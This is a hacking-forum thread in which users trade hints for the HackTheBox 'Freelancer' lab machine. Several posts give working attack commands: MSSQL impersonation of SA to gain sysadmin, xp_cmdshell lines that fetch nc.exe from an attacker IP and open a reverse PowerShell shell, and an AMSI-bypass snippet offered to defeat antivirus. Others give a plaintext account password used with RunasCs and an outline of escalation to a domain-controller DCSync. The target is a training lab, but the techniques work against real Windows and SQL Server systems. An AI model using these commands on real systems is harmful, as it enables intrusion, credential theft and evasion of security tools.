HTB - Freelancer
by trevor69000 - Saturday June 1, 2024 at 06:49 PM
#51
(Jun 02, 2024, 09:20 AM)ritualist Wrote:
(Jun 02, 2024, 09:07 AM)xss_02 Wrote:
(Jun 02, 2024, 07:50 AM)ritualist Wrote: For those stuck in the SQL Terminal, you can impersonate SA
https://book.hacktricks.xyz/network-serv...ther-users

Use this to make yourself sysadmin, then you have the rights to enable adv options and the shell command.
EXECUTE AS LOGIN = 'SA'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'

how to evade AV?

As mentioned previously, you can use nc
xp_cmdshell 'echo IWR http://10.10.X.X/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile'
xp_cmdshell '%TEMP%\nc.exe 10.10.X.X 4242 -e powershell'

Can anyone share a hint on what to do after getting sql_svc shell? Tried BloodHound and some basic enumeration and pw spraying, but no success.

what nc.exe did you use? the one from kali (/usr/share/windows-resources/binaries) is detected

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply
#52
(Jun 02, 2024, 10:04 AM)nomx1337 Wrote:
(Jun 02, 2024, 09:20 AM)ritualist Wrote:
(Jun 02, 2024, 09:07 AM)xss_02 Wrote:
(Jun 02, 2024, 07:50 AM)ritualist Wrote: For those stuck in the SQL Terminal, you can impersonate SA
https://book.hacktricks.xyz/network-serv...ther-users

Use this to make yourself sysadmin, then you have the rights to enable adv options and the shell command.
EXECUTE AS LOGIN = 'SA'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'

how to evade AV?

As mentioned previously, you can use nc
xp_cmdshell 'echo IWR http://10.10.X.X/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile'
xp_cmdshell '%TEMP%\nc.exe 10.10.X.X 4242 -e powershell'

Can anyone share a hint on what to do after getting sql_svc shell? Tried BloodHound and some basic enumeration and pw spraying, but no success.

what nc.exe did you use? the one from kali (/usr/share/windows-resources/binaries) is detected

Try this one https://packetstormsecurity.com/files/31140/nc.exe.html
Reply
#53
bypass that fcking AV:
$a = [Ref].Assembly.GetTypes() | ?{$_.Name -like '*siUtils'}
$b = $a.GetFields('NonPublic,Static') | ?{$_.Name -like '*siContext'}
[IntPtr]$c = $b.GetValue($null)
[Int32[]]$d = @(0xff)
[System.Runtime.InteropServices.Marshal]::Copy($d, 0, $c, 1)
Reply
#54
can someone do a summary ?
Reply
#55
webpage -> employer-> admin-> sql_rce-> sql_svc-> mikasa shell-> lorra199 --> AD Recycle Bin --> Generic Write to DC --> Dcsync to Domain ->root
Reply
#56
(Jun 02, 2024, 02:41 PM)meoami Wrote: webpage -> employer-> admin-> sql_rce-> sql_svc-> mikasa shell->  lorra199 --> AD Recycle Bin --> Generic Write to DC --> Dcsync to Domain ->root

any hint for mikasa shell ?
Reply
#57
There's mikasa password in
C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU> type sql-Configuration.INI
upload runascs to gain mikasa shell
./RunasCs.exe mikasaAckerman IL0v3ErenY3ager powershell -r IPTongueORT
Reply
#58
https://github[.]com/ufrisk/MemProcFS
this may be useful then try bypass AMSI and dump something
Reply
#59
im stuck with the passwords from the memory dump but cant seem to get a shell with either password that came out of it. how do I get a shell using these? i think the password isnt the exact same as either of these.
Reply
#60
(Jun 02, 2024, 06:36 AM)xss_02 Wrote:
(Jun 02, 2024, 05:33 AM)jj00 Wrote: I'm not able to get port 80! any idea what is blocking ?

change vpn to EU - Release arena

that worked like a charm! thanks Big Grin
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,579 2 hours ago
Last Post: popoler
  [FREE] CPTS 12 FLAGS pulsebreaker 66 1,817 9 hours ago
Last Post: vlka
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 370 92,663 Yesterday, 05:05 PM
Last Post: lifolifo007
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,232 Yesterday, 02:10 PM
Last Post: kkkato
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 3 423 Apr 29, 2026, 10:36 PM
Last Post: op334

Forum Jump:


 Users browsing this forum: 1 Guest(s)